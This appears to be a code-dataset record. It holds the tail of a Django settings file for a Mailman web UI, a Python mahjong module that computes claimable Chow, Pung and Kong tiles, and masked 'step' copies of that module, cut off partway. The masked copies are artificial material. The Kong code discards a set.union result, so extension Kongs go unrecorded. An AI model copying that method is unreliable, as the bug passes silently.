config.has_option(section, option) else None\n return get(section, option) if section else get\n\nmailman_cfg = read_cfg('/etc/mailman.cfg')\n\n\nBASE_DIR = '/usr/lib/bundles/mailman-webui'\nCONF_DIR = '/etc/mailman-webui'\nDATA_DIR = '/var/lib/mailman-webui'\nLOG_DIR = '/var/log/mailman-webui'\n\n# Hosts/domain names that are valid for this site.\n# NOTE: You MUST add domain name of your instance of this application here!\n# See https://docs.djangoproject.com/en/1.9/ref/settings/#allowed-hosts\nALLOWED_HOSTS = ['localhost']\n\n# Mailman API credentials\n# NOTE: Replace with hard-coded values if Mailman is running on a different host.\nMAILMAN_REST_API_URL = 'http://localhost:%s' % (mailman_cfg('webservice', 'port') or 8001)\nMAILMAN_REST_API_USER = mailman_cfg('webservice', 'admin_user') or 'restadmin'\nMAILMAN_REST_API_PASS = mailman_cfg('webservice', 'admin_pass')\nMAILMAN_ARCHIVER_KEY = read_cfg('/etc/mailman.d/hyperkitty.cfg', 'general', 'api_key')\nMAILMAN_ARCHIVER_FROM = ('127.0.0.1', '::1', '::ffff:127.0.0.1')\n\n# REST API\nREST_FRAMEWORK = {\n 'PAGE_SIZE': 10,\n}\n\n# Only display mailing-lists in HyperKitty from the same virtual host\n# as the webserver.\nFILTER_VHOST = False\n\n\n#\n# Application definition\n#\n\nSITE_ID = 1\n\nINSTALLED_APPS = (\n 'django.contrib.admin',\n 'django.contrib.auth',\n 'django.contrib.contenttypes',\n 'django.contrib.sessions',\n 'django.contrib.sites',\n 'django.contrib.messages',\n 'django.contrib.staticfiles',\n\n 'hyperkitty',\n 'rest_framework',\n 'django_gravatar',\n 'paintstore',\n 'compressor',\n 'haystack',\n 'django_extensions',\n 'postorius',\n 'django_mailman3',\n 'stronghold',\n\n # Uncomment the next line to enable integration with Sentry\n # and set DSN in RAVEN_CONFIG.\n #'raven.contrib.django.raven_compat',\n\n 'allauth',\n 'allauth.account',\n 'allauth.socialaccount',\n # Uncomment providers that you want to use, if any.\n #'allauth.socialaccount.providers.openid',\n #'allauth.socialaccount.providers.github',\n #'allauth.socialaccount.providers.gitlab',\n #'allauth.socialaccount.providers.google',\n #'allauth.socialaccount.providers.twitter',\n #'allauth.socialaccount.providers.stackexchange',\n)\n\nMIDDLEWARE_CLASSES = (\n 'django.contrib.sessions.middleware.SessionMiddleware',\n 'django.middleware.common.CommonMiddleware',\n 'django.middleware.csrf.CsrfViewMiddleware',\n 'django.middleware.locale.LocaleMiddleware',\n 'django.contrib.auth.middleware.AuthenticationMiddleware',\n 'django.contrib.auth.middleware.SessionAuthenticationMiddleware',\n 'django.contrib.messages.middleware.MessageMiddleware',\n 'django.middleware.clickjacking.XFrameOptionsMiddleware',\n 'django.middleware.security.SecurityMiddleware',\n 'django_mailman3.middleware.TimezoneMiddleware',\n 'postorius.middleware.PostoriusMiddleware',\n\n # Uncomment to require a user to be authenticated to view any page.\n #'stronghold.middleware.LoginRequiredMiddleware',\n)\n\n# A string representing the full Python import path to your root URLconf.\nROOT_URLCONF = 'urls'\n\nTEMPLATES = [\n {\n 'BACKEND': 'django.template.backends.django.DjangoTemplates',\n 'DIRS': [\n # Directory for templates override.\n joinpath(DATA_DIR, 'templates'),\n ],\n 'APP_DIRS': True,\n 'OPTIONS': {\n 'context_processors': [\n 'django.template.context_processors.debug',\n 'django.template.context_processors.i18n',\n 'django.template.context_processors.media',\n 'django.template.context_processors.static',\n 'django.template.context_processors.tz',\n 'django.template.context_processors.csrf',\n 'django.template.context_processors.request',\n 'django.contrib.auth.context_processors.auth',\n 'django.contrib.messages.context_processors.messages',\n 'django_mailman3.context_processors.common',\n 'hyperkitty.context_processors.common',\n 'postorius.context_processors.postorius',\n ],\n },\n },\n]\n\nWSGI_APPLICATION = 'wsgi.application'\n\n# Using the cache infrastructure can significantly improve performance on a\n# production setup. This is an example with a local Memcached server.\n#CACHES = {\n# 'default': {\n# 'BACKEND': 'django.core.cache.backends.memcached.PyLibMCCache',\n# 'LOCATION': '127.0.0.1:11211',\n# }\n#}\n\n\n#\n# Databases\n# See https://docs.djangoproject.com/en/1.9/ref/settings/#databases\n#\n\nDATABASES = {\n 'default': {\n 'ENGINE': 'django.db.backends.sqlite3',\n 'NAME': joinpath(DATA_DIR, 'db.sqlite3'),\n }\n# Remove the above lines and uncomment the below to use PostgreSQL.\n# 'default': {\n# 'ENGINE': 'django.db.backends.postgresql_psycopg2',\n# 'NAME': 'mailman_webui',\n# 'USER': 'mailman_webui',\n# 'PASSWORD': 'change-me',\n# # Empty for localhost through domain sockets or '127.0.0.1' for localhost through TCP.\n# 'HOST': '127.0.0.1',\n# 'PORT': '',\n# }\n}\n\n# Full-text search engine\nHAYSTACK_CONNECTIONS = {\n 'default': {\n 'ENGINE': 'haystack.backends.whoosh_backend.WhooshEngine',\n 'PATH': joinpath(DATA_DIR, 'fulltext_index'),\n },\n}\n\n\n#\n# Outgoing mails\n#\n\n# NOTE: Replace with hard-coded values if Mailman is running on a different host.\n\n# The host and port of the SMTP server to use for sending email.\nEMAIL_HOST = mailman_cfg('mta', 'smtp_host') or 'localhost'\nEMAIL_PORT = int(mailman_cfg('mta', 'smtp_port') or 25)\n\n# Username and password to use for the SMTP server defined above.\nEMAIL_HOST_USER = mailman_cfg('mta', 'smtp_user') or ''\nEMAIL_HOST_PASSWORD = mailman_cfg('mta', 'smtp_pass') or ''\n\n# Whether to use a explicit TLS connection when talking to the SMTP server.\nEMAIL_USE_TLS = False\n\n# Whether to use an implicit TLS connection when talking to the SMTP server.\nEMAIL_USE_SSL = False\n\n# A tuple that lists people who get code error notifications. When DEBUG=False\n# and a view raises an exception, Django will email these people with the full\n# exception information. Each member of the tuple should be a tuple of (Full\n# name, email address).\nADMINS = (\n ('Mailman Admin', 'root@localhost'),\n)\n\n# If you enable email reporting for error messages, this is where those emails\n# will appear to be coming from. Make sure you set a valid domain name,\n# otherwise the emails may get rejected.\n# https://docs.djangoproject.com/en/1.9/ref/settings/#std:setting-SERVER_EMAIL\n#SERVER_EMAIL = 'root@your-domain.org'\n\n# If you enable internal authentication, this is the address that the emails\n# will appear to be coming from. Make sure you set a valid domain name,\n# otherwise the emails may get rejected.\n# https://docs.djangoproject.com/en/1.9/ref/settings/#default-from-email\n#DEFAULT_FROM_EMAIL = 'mailing-lists@you-domain.org'\n\n\n#\n# Security settings\n#\n\n# A secret key used for signing sessions, cookies, password reset tokens etc.\nSECRET_KEY = open(joinpath(CONF_DIR, 'secret_key')).read()\n\nCSRF_COOKIE_SECURE = True\nCSRF_COOKIE_HTTPONLY = True\nSESSION_COOKIE_SECURE = True\nSECURE_CONTENT_TYPE_NOSNIFF = True\nSECURE_BROWSER_XSS_FILTER = True\nX_FRAME_OPTIONS = 'DENY'\n\n# If you're behind a proxy, use the X-Forwarded-Host header\n# See https://docs.djangoproject.com/en/1.9/ref/settings/#use-x-forwarded-host\nUSE_X_FORWARDED_HOST = True\n\n# And if your proxy does your SSL encoding for you, set SECURE_PROXY_SSL_HEADER\n# https://docs.djangoproject.com/en/1.9/ref/settings/#secure-proxy-ssl-header\nSECURE_PROXY_SSL_HEADER = ('HTTP_X_FORWARDED_PROTO', 'https')\n\n#SECURE_SSL_REDIRECT = True\n\n# If you set SECURE_SSL_REDIRECT to True, make sure the SECURE_REDIRECT_EXEMPT\n# contains at least this line:\n#SECURE_REDIRECT_EXEMPT = [\n# 'archives/api/mailman/.*', # Request from Mailman.\n#]\n\n\n#\n# Authentication\n#\n\nAUTHENTICATION_BACKENDS = (\n 'django.contrib.auth.backends.ModelBackend',\n # Uncomment to next line to enable LDAP authentication.\n #'custom.LDAPBackend',\n 'allauth.account.auth_backends.AuthenticationBackend',\n)\n\nLOGIN_URL = 'account_login'\nLOGIN_REDIRECT_URL = 'hk_root'\nLOGOUT_URL = 'account_logout'\n\n# Whether registration of new accounts is currently permitted.\nREGISTRATION_OPEN = True\n\n# Password validation\n# https://docs.djangoproject.com/en/1.9/ref/settings/#auth-password-validators\nAUTH_PASSWORD_VALIDATORS = [\n { 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator' },\n { 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator' },\n { 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator' },\n { 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator' },\n]\n\n# URLs which are ignored by LoginRequiredMiddleware, i.e. the middleware\n# does not *force* them to require authentication.\nSTRONGHOLD_PUBLIC_URLS = (\n r'^/accounts/.*',\n r'^/archives/api/mailman/.*',\n)\n\n## Django Allauth\n\n# Custom AccountAdapter for allauth that respects REGISTRATION_OPEN variable.\nACCOUNT_ADAPTER = 'custom.CloseableRegistrationAccountAdapter'\n\nACCOUNT_AUTHENTICATION_METHOD = 'username_email'\nACCOUNT_EMAIL_REQUIRED = True\nACCOUNT_EMAIL_VERIFICATION = 'mandatory'\nACCOUNT_DEFAULT_HTTP_PROTOCOL = 'https'\nACCOUNT_UNIQUE_EMAIL = True\n\n# Whether to disable intermediate logout page.\nACCOUNT_LOGOUT_ON_GET = False\n\nSOCIALACCOUNT_PROVIDERS = {}\n#SOCIALACCOUNT_PROVIDERS = {\n# 'openid': {\n# 'SERVERS': [\n# {\n# 'id': 'yahoo',\n# 'name': 'Yahoo',\n# 'openid_url': 'http://me.yahoo.com'\n# }\n# ],\n# },\n# 'google': {\n# 'SCOPE': ['profile', 'email'],\n# 'AUTH_PARAMS': {'access_type': 'online'},\n# },\n# 'facebook': {\n# 'METHOD': 'oauth2',\n# 'SCOPE': ['email'],\n# 'FIELDS': [\n# 'email',\n# 'name',\n# 'first_name',\n# 'last_name',\n# 'locale',\n# 'timezone',\n# ],\n# 'VERSION': 'v2.4',\n# },\n#}\n\n## Django LDAP\nif 'custom.LDAPBackend' in AUTHENTICATION_BACKENDS:\n import ldap\n from django_auth_ldap.config import LDAPSearch\n\n ldap.set_option(ldap.OPT_X_TLS_CACERTDIR, '/etc/ssl/certs')\n\n AUTH_LDAP_SERVER_URI = 'ldaps://ldap.example.org'\n\n AUTH_LDAP_USER_SEARCH = LDAPSearch(\n 'ou=People,dc=example,dc=org',\n ldap.SCOPE_SUBTREE,\n '(&(mail=*)(uid=%(user)s))'\n )\n\n AUTH_LDAP_USER_ATTR_MAP = {\n 'first_name': 'givenName',\n 'last_name': 'sn',\n 'email': 'mail',\n }\n\n\n#\n# Internationalization\n# https://docs.djangoproject.com/en/1.9/topics/i18n/\n#\n\nLANGUAGE_CODE = 'en-us'\nTIME_ZONE = 'UTC'\n\nUSE_I18N = True\nUSE_L10N = True\nUSE_TZ = True\n\n\n#\n# Static files (CSS, JavaScript, Images)\n# https://docs.djangoproject.com/en/1.9/howto/static-files/\n#\n\n# Absolute path to the directory static files should be collected to.\n# Don't put anything in this directory yourself; store your static files\n# in apps' \"static/\" subdirectories and in STATICFILES_DIRS.\n# Example: \"/var/www/example.com/static/\"\nSTATIC_ROOT = joinpath(BASE_DIR, 'static')\n\n# URL prefix for static files.\n# Example: \"http://example.com/static/\", \"http://static.example.com/\"\nSTATIC_URL = '/static/'\n\n\n# Additional locations of static files\nSTATICFILES_DIRS = (\n # Put strings here, like \"/home/html/static\".\n # Don't forget to use absolute paths, not relative paths.\n)\n\n# List of finder classes that know how to find static files in\n# various locations.\nSTATICFILES_FINDERS = (\n 'django.contrib.staticfiles.finders.FileSystemFinder',\n 'django.contrib.staticfiles.finders.AppDirectoriesFinder',\n 'compressor.finders.CompressorFinder',\n)\n\n# django-compressor\nCOMPRESS_OFFLINE = True\n\n# Compatibility with Bootstrap 3\nfrom django.contrib.messages import constants as messages\nMESSAGE_TAGS = {\n messages.ERROR: 'danger'\n}\n\n\n#\n# Gravatar\n# https://github.com/twaddington/django-gravatar\n#\n\n# Gravatar base url.\nGRAVATAR_URL = 'http://cdn.libravatar.org/'\n# Gravatar base secure https url.\nGRAVATAR_SECURE_URL = 'https://seccdn.libravatar.org/'\n# Gravatar size in pixels.\n#GRAVATAR_DEFAULT_SIZE = '80'\n# An image url or one of the following: 'mm', 'identicon', 'monsterid', 'wavatar', 'retro'.\nGRAVATAR_DEFAULT_IMAGE = 'retro'\n# One of the following: 'g', 'pg', 'r', 'x'.\n#GRAVATAR_DEFAULT_RATING = 'g'\n# True to use https by default, False for plain http.\nGRAVATAR_DEFAULT_SECURE = True\n\n\n#\n# Logging\n#\n\n# A sample logging configuration. The only tangible logging performed by this\n# configuration is to send an email to the site admins on every HTTP 500 error\n# when DEBUG=False. See http://docs.djangoproject.com/en/dev/topics/logging for\n# more details on how to customize your logging configuration.\nLOGGING = {\n 'version': 1,\n 'disable_existing_loggers': False,\n 'filters': {\n 'require_debug_false': {\n '()': 'django.utils.log.RequireDebugFalse'\n }\n },\n 'handlers': {\n 'console': {\n 'class': 'logging.StreamHandler',\n 'formatter': 'simple',\n },\n 'file':{\n 'level': 'INFO',\n #'class': 'logging.handlers.RotatingFileHandler',\n 'class': 'logging.handlers.WatchedFileHandler',\n 'filename': joinpath(LOG_DIR, 'mailman-webui.log'),\n 'formatter': 'verbose',\n },\n 'mail_admins': {\n 'level': 'ERROR',\n 'filters': ['require_debug_false'],\n 'class': 'django.utils.log.AdminEmailHandler'\n },\n },\n 'loggers': {\n #'django.request': {\n # 'handlers': ['mail_admins'],\n # 'level': 'ERROR',\n # 'propagate': True,\n #},\n 'django.request': {\n 'handlers': ['file'],\n 'level': 'ERROR',\n 'propagate': True,\n },\n 'django': {\n 'handlers': ['file'],\n 'level': 'ERROR',\n 'propagate': True,\n },\n 'postorius': {\n 'handlers': ['file'],\n 'level': 'INFO',\n 'propagate': True,\n },\n 'hyperkitty': {\n 'handlers': ['file'],\n 'level': 'INFO',\n 'propagate': True,\n },\n },\n 'formatters': {\n 'verbose': {\n 'format': '%(levelname)s %(asctime)s %(module)s %(process)d %(thread)d %(message)s'\n },\n 'simple': {\n 'format': '%(levelname)s %(message)s'\n },\n },\n 'root': {\n 'handlers': ['file'],\n 'level': 'INFO',\n },\n}\n\nif 'raven.contrib.django.raven_compat' in INSTALLED_APPS:\n RAVEN_CONFIG = {\n 'dsn': 'https://<key>:<secret>@sentry.io/<project>',\n }\n LOGGING['handlers']['sentry'] = {\n 'level': 'ERROR',\n 'class': 'raven.contrib.django.raven_compat.handlers.SentryHandler',\n }\n LOGGING['loggers']['root']['handlers'].append('sentry')\n\n\ntry:\n from settings_local import *\nexcept ImportError:\n pass\n", "step-ids": [ 1, 2, 3, 4, 5 ] }
[ 1, 2, 3, 4, 5 ]
#!/usr/bin/env python """ mahjong.playerhand """ from collections import Counter from melds import (DiscardedBy, Chow, Pung, Kong) from shanten import ( count_shanten_13_orphans, count_shanten_seven_pairs, count_shanten_std) import tiles from walls import TileWallAgent class PlayerHand: """Player's hand.""" def __init__(self, concealed, exposed=None, initial_update=True): if isinstance(concealed, str): concealed = tiles.tiles(concealed) if isinstance(concealed, Counter): self._concealed = concealed else: self._concealed = Counter(concealed) self._exposed = exposed or [] self.claimable_chow = {} self.claimable_pung = {} self.claimable_kong = {} self.claimable_win = {} self.shanten_std, self.shanten_7, self.shanten_13 = None, None, None if initial_update: self.update() def __str__(self): # concealed part concealed_part = tiles.format_tiles(self.concealed_part.elements()) # exposed part exposed_part = ' '.join(str(meld) for meld in self.exposed_parts) return f'{concealed_part} {exposed_part} {self.shanten} シャンテン' @property def is_concealed(self) -> bool: """Determine if all the tile is concealed.""" # return not self._exposed return sum(self.concealed_part.values()) == 13 @property def concealed_part(self): """Return concealed tiles.""" return self._concealed def get_concealed_part_by_class(self, tile_class) -> Counter: """Return the part that consists of specific tiles""" return self.concealed_part & tiles.get_filter(tile_class) @property def exposed_parts(self): """Return exposed melds.""" return self._exposed @property def shanten(self): """Return the shanten number""" if not self.is_concealed: return self.shanten_std return min(self.shanten_std, self.shanten_7, self.shanten_13) def can_claim_chow(self, discarded_tile: tiles.Tile) -> bool: """Test if the player can claim for a Chow >>> [PlayerHand('12m東南').can_claim_chow( ... tiles.tiles('3{}'.format(i))) for i in 'mps'] [True, False, False] >>> [PlayerHand('89m東南').can_claim_chow( ... tiles.tiles('7{}'.format(i))) for i in 'mps'] [True, False, False] >>> [PlayerHand('35p東南').can_claim_chow( ... tiles.tiles('4{}'.format(i))) for i in 'mps'] [False, True, False] >>> [PlayerHand('4567m').can_claim_chow( ... tiles.tiles('{}m'.format(i))) for i in range(1, 10)] [False, False, True, True, True, True, True, True, False] >>> any(PlayerHand('258p西').can_claim_chow( ... tiles.tiles('{}p'.format(i))) for i in range(1, 10)) False >>> all(PlayerHand('1112345678999s').can_claim_chow( ... tiles.tiles('{}s'.format(i))) for i in range(1, 10)) True """ return discarded_tile in self.claimable_chow def can_claim_pung(self, discarded_tile: tiles.Tile): """Test if the player can claim for a Pung. >>> hand = PlayerHand('149m66s発発') >>> hand.can_claim_pung(tiles.tiles('1s')) False >>> hand.can_claim_pung(tiles.tiles('6s')) True >>> hand.can_claim_pung(tiles.tiles('発')) True >>> hand = PlayerHand('9m66s2p発発発') >>> hand.can_claim_pung(tiles.tiles('6s')) True >>> hand.can_claim_pung(tiles.tiles('発')) True >>> PlayerHand('149m6s白発中').can_claim_pung(tiles.tiles('発')) False >>> [PlayerHand('1112345678999m').can_claim_pung( ... tiles.tiles(f'{i}m')) for i in range(1, 10)] [True, False, False, False, False, False, False, False, True] """ return discarded_tile in self.claimable_pung def can_claim_kong(self, target_tile: tiles.Tile): """Test if the player can claim for a Kong (melded or concealed). >>> PlayerHand('149m66s発発').can_claim_kong(tiles.tiles('発')) False >>> PlayerHand('9m66s2p発発発').can_claim_kong(tiles.tiles('発')) True """ return target_tile in self.claimable_kong def commit_chow( self, new_tile: tiles.Tile, tile1: tiles.Tile, tile2: tiles.Tile): """Add a Chow to the exposed part. >>> player_hand = PlayerHand('12457789m45p346s') >>> target_tile = tiles.tiles('8m') >>> tile1, tile2 = tiles.tiles('7m'), tiles.tiles('9m') >>> player_hand.commit_chow(target_tile, tile1, tile2) >>> chow = player_hand.exposed_parts[0] >>> isinstance(chow, Chow) True >>> chow.concealed False >>> print(chow.discarded_by) DiscardedBy.LEFT >>> player_hand.concealed_part[tile1] 1 >>> player_hand.concealed_part[target_tile] 1 >>> player_hand.concealed_part[tile2] 0 """ self.exposed_parts.append(Chow([new_tile, tile1, tile2], False)) self.concealed_part.subtract([tile1, tile2]) # self.update() def commit_pung(self, tile: tiles.Tile, discarded_by: DiscardedBy): """Add a Pung to the exposed part. >>> player_hand = PlayerHand('2457789m248p14s白') >>> target_tile = tiles.tiles('7m') >>> player_hand.commit_pung(target_tile, DiscardedBy.CENTER) >>> pung = player_hand.exposed_parts[0] >>> assert isinstance(pung, Pung) >>> assert pung.tileinfo == target_tile >>> pung.concealed False >>> print(pung.discarded_by) DiscardedBy.CENTER >>> player_hand.concealed_part[target_tile] 0 """ self.exposed_parts.append(Pung(tile, False, discarded_by)) self.concealed_part.subtract({tile: 2}) # self.update() def commit_kong(self, tile: tiles.Tile, discarded_by: DiscardedBy): """Add/extend a Kong. Determine if the claiming for this Kong is a melded, concealed or extension Kong by this hand and ``discarded_by``. Example 1: 大明槓 >>> hand = PlayerHand(tiles.tiles('479m378p568s東東東白')) >>> hand.commit_kong(tiles.tiles('東'), DiscardedBy.CENTER) >>> hand.concealed_part - Counter(tiles.tiles('479m378p568s白')) Counter() >>> kong = hand.exposed_parts[-1] >>> print(kong.discarded_by) DiscardedBy.CENTER Example 2: 暗槓 >>> hand = PlayerHand(tiles.tiles('479m378p568s東東東東')) >>> hand.commit_kong(tiles.tiles('東'), None) >>> hand.concealed_part - Counter(tiles.tiles('479m378p568s')) Counter() >>> kong = hand.exposed_parts[-1] >>> print(kong.discarded_by) None Example 3: 加槓 >>> hand = PlayerHand(tiles.tiles('479m378p568s白'), ... [Pung(tiles.tiles('東'), True, DiscardedBy.RIGHT)]) >>> hand.commit_kong(tiles.tiles('東'), None) >>> kong = hand.exposed_parts[-1] >>> isinstance(kong, Kong) True >>> kong.tileinfo == tiles.tiles('東') True >>> print(kong.discarded_by) DiscardedBy.RIGHT """ if discarded_by: # A melded Kong self.exposed_parts.append(Kong(tile, False, discarded_by)) self.concealed_part.subtract({tile: 3}) elif self.concealed_part.get(tile, 0) == 4: # A concealed Kong self.exposed_parts.append(Kong(tile, True, None)) self.concealed_part.subtract({tile: 4}) else: # A melded Pung is extended to a melded Kong for i, meld in enumerate(self.exposed_parts): if meld.tileinfo == tile: self._exposed[i] = meld.extend_to_kong() break # Note: リンシャンから補充するまで self.update_shanten() を呼べない # self.update() def update(self): """Update internal state""" self.update_claimable_tiles() self.update_shanten() def update_claimable_tiles(self): """WIP""" self.update_claimable_tiles_chow() self.update_claimable_tiles_pung() self.update_claimable_tiles_kong() def update_claimable_tiles_chow(self): """Update information for claiming a Chow. >>> player_hand = PlayerHand('26m334568p38s東発発') >>> player_hand.update_claimable_tiles_chow() >>> set(tiles.tiles('234567p')) == player_hand.claimable_chow True """ def _find_mate_pairs(suits, part): def _get_mate_pair(tile): yield (tile - 2, tile - 1) yield (tile - 1, tile + 1) yield (tile + 1, tile + 2) # XXX: 以下のループをなぜか comprehension で書けない? for tile in suits: if any(mate[0] in part and mate[1] in part for mate in _get_mate_pair(tile)): claimable_chow.add(tile) claimable_chow = set() _find_mate_pairs(tiles.TILE_RANGE_CHARACTERS, self.concealed_part & tiles.FILTER_CHARACTERS) _find_mate_pairs(tiles.TILE_RANGE_CIRCLES, self.concealed_part & tiles.FILTER_CIRCLES) _find_mate_pairs(tiles.TILE_RANGE_BAMBOOS, self.concealed_part & tiles.FILTER_BAMBOOS) self.claimable_chow = claimable_chow def update_claimable_tiles_pung(self): """Update information for claiming a Pung. >>> player_hand = PlayerHand('26m334568p38s東発発') >>> player_hand.update_claimable_tiles_pung() >>> set(tiles.tiles('3p発')) == player_hand.claimable_pung True """ counter = self.concealed_part self.claimable_pung = set( tile for tile in counter if counter[tile] >= 2) def update_claimable_tiles_kong(self): """Update information for claiming a Kong. >>> player_hand = PlayerHand('26m333368p38s発発発') >>> player_hand.update_claimable_tiles_kong() >>> set(tiles.tiles('3p発')) == player_hand.claimable_kong True """ counter = self.concealed_part # 大明槓 or 暗槓 self.claimable_kong = set( tile for tile in counter if counter[tile] in (3, 4)) # 加槓 self.claimable_kong.union( meld.tileinfo for meld in self.exposed_parts if isinstance(meld, Pung)) def update_shanten(self): """Update the shanten number""" player_hand = self.concealed_part self.shanten_std = count_shanten_std(player_hand) if self.is_concealed: self.shanten_7 = count_shanten_seven_pairs(player_hand) self.shanten_13 = count_shanten_13_orphans(player_hand) else: self.shanten_7 = None self.shanten_13 = None def main(): """test""" wall_agent = TileWallAgent() player_hands = [PlayerHand(Counter(ph)) for ph in wall_agent.build()] for player_hand in player_hands: print(player_hand) if __name__ == '__main__': main()
normal
{ "blob_id": "5b860144a592505fea3a8849f5f5429a39ab9053", "index": 7299, "step-1": "<mask token>\n\n\nclass PlayerHand:\n <mask token>\n\n def __init__(self, concealed, exposed=None, initial_update=True):\n if isinstance(concealed, str):\n concealed = tiles.tiles(concealed)\n if isinstance(concealed, Counter):\n self._concealed = concealed\n else:\n self._concealed = Counter(concealed)\n self._exposed = exposed or []\n self.claimable_chow = {}\n self.claimable_pung = {}\n self.claimable_kong = {}\n self.claimable_win = {}\n self.shanten_std, self.shanten_7, self.shanten_13 = None, None, None\n if initial_update:\n self.update()\n\n def __str__(self):\n concealed_part = tiles.format_tiles(self.concealed_part.elements())\n exposed_part = ' '.join(str(meld) for meld in self.exposed_parts)\n return f'{concealed_part} {exposed_part} {self.shanten} シャンテン'\n\n @property\n def is_concealed(self) ->bool:\n \"\"\"Determine if all the tile is concealed.\"\"\"\n return sum(self.concealed_part.values()) == 13\n\n @property\n def concealed_part(self):\n \"\"\"Return concealed tiles.\"\"\"\n return self._concealed\n\n def get_concealed_part_by_class(self, tile_class) ->Counter:\n \"\"\"Return the part that consists of specific tiles\"\"\"\n return self.concealed_part & tiles.get_filter(tile_class)\n\n @property\n def exposed_parts(self):\n \"\"\"Return exposed melds.\"\"\"\n return self._exposed\n\n @property\n def shanten(self):\n \"\"\"Return the shanten number\"\"\"\n if not self.is_concealed:\n return self.shanten_std\n return min(self.shanten_std, self.shanten_7, self.shanten_13)\n\n def can_claim_chow(self, discarded_tile: tiles.Tile) ->bool:\n \"\"\"Test if the player can claim for a Chow\n\n >>> [PlayerHand('12m東南').can_claim_chow(\n ... tiles.tiles('3{}'.format(i))) for i in 'mps']\n [True, False, False]\n\n >>> [PlayerHand('89m東南').can_claim_chow(\n ... tiles.tiles('7{}'.format(i))) for i in 'mps']\n [True, False, False]\n\n >>> [PlayerHand('35p東南').can_claim_chow(\n ... tiles.tiles('4{}'.format(i))) for i in 'mps']\n [False, True, False]\n\n >>> [PlayerHand('4567m').can_claim_chow(\n ... tiles.tiles('{}m'.format(i))) for i in range(1, 10)]\n [False, False, True, True, True, True, True, True, False]\n\n >>> any(PlayerHand('258p西').can_claim_chow(\n ... tiles.tiles('{}p'.format(i))) for i in range(1, 10))\n False\n\n >>> all(PlayerHand('1112345678999s').can_claim_chow(\n ... tiles.tiles('{}s'.format(i))) for i in range(1, 10))\n True\n \"\"\"\n return discarded_tile in self.claimable_chow\n <mask token>\n\n def can_claim_kong(self, target_tile: tiles.Tile):\n \"\"\"Test if the player can claim for a Kong (melded or concealed).\n\n >>> PlayerHand('149m66s発発').can_claim_kong(tiles.tiles('発'))\n False\n >>> PlayerHand('9m66s2p発発発').can_claim_kong(tiles.tiles('発'))\n True\n \"\"\"\n return target_tile in self.claimable_kong\n\n def commit_chow(self, new_tile: tiles.Tile, tile1: tiles.Tile, tile2:\n tiles.Tile):\n \"\"\"Add a Chow to the exposed part.\n\n >>> player_hand = PlayerHand('12457789m45p346s')\n >>> target_tile = tiles.tiles('8m')\n >>> tile1, tile2 = tiles.tiles('7m'), tiles.tiles('9m')\n >>> player_hand.commit_chow(target_tile, tile1, tile2)\n >>> chow = player_hand.exposed_parts[0]\n >>> isinstance(chow, Chow)\n True\n >>> chow.concealed\n False\n >>> print(chow.discarded_by)\n DiscardedBy.LEFT\n >>> player_hand.concealed_part[tile1]\n 1\n >>> player_hand.concealed_part[target_tile]\n 1\n >>> player_hand.concealed_part[tile2]\n 0\n \"\"\"\n self.exposed_parts.append(Chow([new_tile, tile1, tile2], False))\n self.concealed_part.subtract([tile1, tile2])\n\n def commit_pung(self, tile: tiles.Tile, discarded_by: DiscardedBy):\n \"\"\"Add a Pung to the exposed part.\n\n >>> player_hand = PlayerHand('2457789m248p14s白')\n >>> target_tile = tiles.tiles('7m')\n >>> player_hand.commit_pung(target_tile, DiscardedBy.CENTER)\n >>> pung = player_hand.exposed_parts[0]\n >>> assert isinstance(pung, Pung)\n >>> assert pung.tileinfo == target_tile\n >>> pung.concealed\n False\n >>> print(pung.discarded_by)\n DiscardedBy.CENTER\n >>> player_hand.concealed_part[target_tile]\n 0\n \"\"\"\n self.exposed_parts.append(Pung(tile, False, discarded_by))\n self.concealed_part.subtract({tile: 2})\n\n def commit_kong(self, tile: tiles.Tile, discarded_by: DiscardedBy):\n \"\"\"Add/extend a Kong.\n\n Determine if the claiming for this Kong is a melded, concealed or\n extension Kong by this hand and ``discarded_by``.\n\n Example 1: 大明槓\n\n >>> hand = PlayerHand(tiles.tiles('479m378p568s東東東白'))\n >>> hand.commit_kong(tiles.tiles('東'), DiscardedBy.CENTER)\n >>> hand.concealed_part - Counter(tiles.tiles('479m378p568s白'))\n Counter()\n >>> kong = hand.exposed_parts[-1]\n >>> print(kong.discarded_by)\n DiscardedBy.CENTER\n\n Example 2: 暗槓\n\n >>> hand = PlayerHand(tiles.tiles('479m378p568s東東東東'))\n >>> hand.commit_kong(tiles.tiles('東'), None)\n >>> hand.concealed_part - Counter(tiles.tiles('479m378p568s'))\n Counter()\n >>> kong = hand.exposed_parts[-1]\n >>> print(kong.discarded_by)\n None\n\n Example 3: 加槓\n\n >>> hand = PlayerHand(tiles.tiles('479m378p568s白'),\n ... [Pung(tiles.tiles('東'), True, DiscardedBy.RIGHT)])\n >>> hand.commit_kong(tiles.tiles('東'), None)\n >>> kong = hand.exposed_parts[-1]\n >>> isinstance(kong, Kong)\n True\n >>> kong.tileinfo == tiles.tiles('東')\n True\n >>> print(kong.discarded_by)\n DiscardedBy.RIGHT\n \"\"\"\n if discarded_by:\n self.exposed_parts.append(Kong(tile, False, discarded_by))\n self.concealed_part.subtract({tile: 3})\n elif self.concealed_part.get(tile, 0) == 4:\n self.exposed_parts.append(Kong(tile, True, None))\n self.concealed_part.subtract({tile: 4})\n else:\n for i, meld in enumerate(self.exposed_parts):\n if meld.tileinfo == tile:\n self._exposed[i] = meld.extend_to_kong()\n break\n\n def update(self):\n \"\"\"Update internal state\"\"\"\n self.update_claimable_tiles()\n self.update_shanten()\n\n def update_claimable_tiles(self):\n \"\"\"WIP\"\"\"\n self.update_claimable_tiles_chow()\n self.update_claimable_tiles_pung()\n self.update_claimable_tiles_kong()\n\n def update_claimable_tiles_chow(self):\n \"\"\"Update information for claiming a Chow.\n\n >>> player_hand = PlayerHand('26m334568p38s東発発')\n >>> player_hand.update_claimable_tiles_chow()\n >>> set(tiles.tiles('234567p')) == player_hand.claimable_chow\n True\n \"\"\"\n\n def _find_mate_pairs(suits, part):\n\n def _get_mate_pair(tile):\n yield tile - 2, tile - 1\n yield tile - 1, tile + 1\n yield tile + 1, tile + 2\n for tile in suits:\n if any(mate[0] in part and mate[1] in part for mate in\n _get_mate_pair(tile)):\n claimable_chow.add(tile)\n claimable_chow = set()\n _find_mate_pairs(tiles.TILE_RANGE_CHARACTERS, self.concealed_part &\n tiles.FILTER_CHARACTERS)\n 